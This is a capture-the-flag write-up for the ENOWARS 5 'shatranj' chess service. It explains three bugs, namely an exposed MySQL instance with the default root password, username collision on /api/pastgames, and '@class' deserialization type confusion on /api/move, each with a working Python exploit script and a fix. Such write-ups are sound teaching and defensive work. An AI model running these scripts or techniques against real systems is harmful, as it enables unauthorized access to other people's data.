Saarsec

saarsec

Schwenk and pwn

ENOWARS 5 - shatranj

shatranj

shatranj is a service, which consists of two parts:

Backend

Endpoints

The backend implements two unauthenticated endpoints defined in org.shatranj.diwana.shatranjserver.ShatranjServerController:

And some authenticated (only accessible by logged-in users) ones (Authentication is done via Basic access Authentication. Username and Password must match a registered user):

Bug 0: Docker misconfiguration (Exposed Database)

When we look at the docker-compose.yml, we can see multiple interesting things:

version: '2.1'

services:
  db:
    image: mysql
    ports:
      - 3306
    environment:
      MYSQL_ROOT_PASSWORD: 123
      
(...)
  1. The mysql database is exposed publicly (ports is used instead of expose)
  2. The default root password is 123

Using this knowledge, it is easy to read all flags from the database. (It is also possible to change the database password 😉.)

Exploit

from pwn import *
import pymysql

team = 'localhost' # target team

# try some possible ports, this range worked quite well
# if you run the service locally, you can use 'docker ps' to find the port
ports = range(49153, 49170) 

for port in ports: 
    try:
        conn = pymysql.connect(
            host=team, 
            user="root", 
            password="123", 
            port=port, 
            database="shatranj", 
            connect_timeout=1, 
            read_timeout=1
        ) # try to connect with default credentials
        
        cur = conn.cursor()
        cur.execute(
            "SELECT message FROM strategy_note UNION SELECT name FROM game;"
        ) # select entries from both flag stores (strategy note content and game names)
        
        for row in cur.fetchall():
            print(row[0]) # possibly flag
        break
    except Exception as e:
        pass # ignore if we connected to a wrong port or bug was fixed

Bug 1: Duplicate usernames + /api/pastgames

This bug is pretty simple, yet we took way to long to find it:

When creating a user, there is no check whether a user with this name already exists:

// org.shatranj.diwana.shatranjserver.ShatranjServerController
@PostMapping("/register")
public Map<String, String> register(@Valid @RequestBody UserRegisterDTO userDTO) {
    logger.info("Trying to register user " + userDTO.getUsername() + ".");
    userService.registerUser(userDTO.getUsername(), userDTO.getPassword());
    return Map.ofEntries(Map.entry("message", "Successfully registered User " + userDTO.getUsername() + "."));
}

// org.shatranj.diwana.shatranjserver.services.UserService
public void registerUser(final String username, final String password) {
    var user = new User();
    user.setUsername(username);
    user.setPassword((new CustomBCryptPasswordEncoder()).encode(password));
    user.setActive(true);
    user.setRoles("USER");
    userRepository.save(user);
}

and /api/pastgames returns all past games of all users with the same username as ours:

// org.shatranj.diwana.shatranjserver.ShatranjServerController
@RequestMapping("/pastgames")
public List<Game> getPastGames() {
    var user = this.getUser();
    logger.info("User " + user.getUsername() + "is trying to get his past games.");
    return chessService.getGames(user);
}

// org.shatranj.diwana.shatranjserver.services.chess.ChessService
public List<Game> getGames(User user) {
    return gameRepository.findAllByActiveAndUserUsername(false, user.getUsername());
}

Exploitation

Say a flag-id is abc. Then user abc has a flag stored as name of a past game. To get this flag, we register a new user with the same name (abc) and query /api/pastgames authorized as the new user to get all past games for username abc which will include the flag!

import requests

target = 'localhost' # target team ip
flag_id = 'user_123' # flag id / username

password = 'P455W0R7' # arbitrary

s = requests.session()
s.post(
    f'http://{target}:8080/api/register', 
    json= {'username': flag_id, 'password': password }
) # register user

r = s.get(
    f'http://{target}:8080/api/pastgames',
    auth = (flag_id, password)
) # get past games

print("\n".join([game["name"] for game in r.json()])) # flags!

Fix

The easiest way to fix this issue is to change /api/pastgames to match the full user instead of just the username:

// org.shatranj.diwana.shatranjserver.services.chess.ChessService
public List<Game> getGames(User user) {
    /* return gameRepository.findAllByActiveAndUserUsername(false, user.getUsername()); */
    return gameRepository.findAllByUser(user);
}

Bug 2: Improper DTO de-serialization

Before we look at the bug itself, let’s take a step back and check out the DTOs.

DTOS

There are several DTOs defined:

DTO de-serialization: A right way

When we look at the the /api/register endpoint, we can see an example for proper DTO parsing:

// org.shatranj.diwana.shatranjserver.ShatranjServerController
@PostMapping("/register")
public Map<String, String> register(@Valid @RequestBody UserRegisterDTO userDTO) {
    logger.info("Trying to register user " + userDTO.getUsername() + ".");
    userService.registerUser(userDTO.getUsername(), userDTO.getPassword());
    return Map.ofEntries(Map.entry("message", "Successfully registered User " + userDTO.getUsername() + "."));
}

This will automagically use the Spring framework to correctly parse a UserRegisterDTO from the Request body.

DTO de-serialization: A wrong way

Now that we saw a right way to do it, let’s look at the /api/move endpoint:

// org.shatranj.diwana.shatranjserver.ShatranjServerController
@PostMapping("/move")
public Object move(@RequestBody String message) throws JsonProcessingException {
    var user = this.getUser();
    logger.info("User " + user.getUsername() + " is trying to perform a move.");

    // removeQuotes removes first and last character, iff input starts end ends with '""'.
    message = removeQuotes(message.replace("\\\"", "\""), true); 
    
    if (!message.contains("\"move\": ")) {
        return Map.ofEntries(
                Map.entry("message", "Not a proper chess move"));
    }
        
    var input = "{\n" + message + ","
            + "\n\"@class\": \"" + MoveReqDTO.class.getCanonicalName() + "\""
            + "\n" + "}";

    return managerService.handleDTOInput(input, user);
}

// org.shatranj.diwana.shatranjserver.services.ManagerService
public Object handleDTOInput(String value, User user) throws JsonProcessingException {
    var dto = objectMapper.readValue(value, DTO.class);

    if (dto instanceof MoveReqDTO) {
        return chessService.makeMove(user, ((MoveReqDTO) dto).getMove());
    } else if (dto instanceof StrategyNoteDTO) {
        return chessService.saveStrategyNote(user, ((StrategyNoteDTO) dto).getMessage());
    } else if (dto instanceof StrategyNoteReqDTO) {
        return chessService.getStrategyNote(((StrategyNoteReqDTO) dto).getId());
    } else if (dto instanceof UserDTO) {
        return userRepository.findAllByUsername(((UserDTO) dto).getUsername())
            .stream()
            .map(chessService::getStrategyNoteIds)
            .flatMap(List::stream)
            .collect(Collectors.toList());
    } else {
        return "Input Error"; 
    }
}

move

  1. \" is replaced with " in our message (quotes are un-escaped).
  2. The resulting string is passed to the removeQuotes method which will remove the first and last " if the message starts and ends with "".
  3. After this, it is checked, that the message contains "move": . (If it does not, the method returns an error.)
  4. A JSON string input is created from our message: { message, "@class":"org.shatranj.diwana.shatranjserver.dto.MoveReqDTO"}
  5. input is passed to handleDTOInput

handleDTOInput

  1. Input is parsed as json to DTO.

  2. Depending on subclass, different actions are chose.

    • UserDTO: Return ids of all notes for username specified in DTO.

    • StrategyNoteReqDTO: Return content of Note with id specified in DTO. (This might be a flag.)
    • (…)

As the message is attacker controlled (passed as request body) and the first @class field determines the actual class during de-serialization, we can modify the JSON string, such that input will no longer be a serialized MoveReqDTO, but a DTO of our choosing.

To exploit this, we first craft a message that will be de-serialized into UserDTO (username is a flag-id again). From this, we will get the ids of all notes for this user. Then we can craft a StrategyNoteReqDTO to read the content of this note.

Exploit

import requests

target = 'localhost' # target team ip
flag_id = 's' # flag id / username

username = 'S0M3_U53R' # arbitrary
password = 'P455W0R7' # arbitrary

s = requests.session()
s.post(
    f'http://{target}:8080/api/register', 
    json= {'username': username, 'password': password }
) # register user (we need this as /api/move is authenticated)

s.auth = (username, password) # make sure we are authenticated

r = s.post(
    f'http://{target}:8080/api/move',
    data = f'"@class": "org.shatranj.diwana.shatranjserver.dto.UserDTO", "username":"{flag_id}","move": "aaa"'
) # first "move" --> UserDTO

for id in r.json():
    r = s.post(
        f'http://{target}:8080/api/move',
        data = f'"@class": "org.shatranj.diwana.shatranjserver.dto.StrategyNoteReqDTO", "id":"{id}","move": "aaa"'
    ) # second "move" --> StrategyNoteReqDTO
    print(r.json()["message"]) # may be flag
print(r.text)

Fix

The proper way to fix this issue would be handling the input the same way as the /api/register endpoint does. However, this is our CTF-grade fix:

// org.shatranj.diwana.shatranjserver.ShatranjServerController
private String removeQuotes(String input, boolean checkDouble) {
        
    if(input.contains("@class"))
        throw new RuntimeException("Nope!");
        
    // (...)
}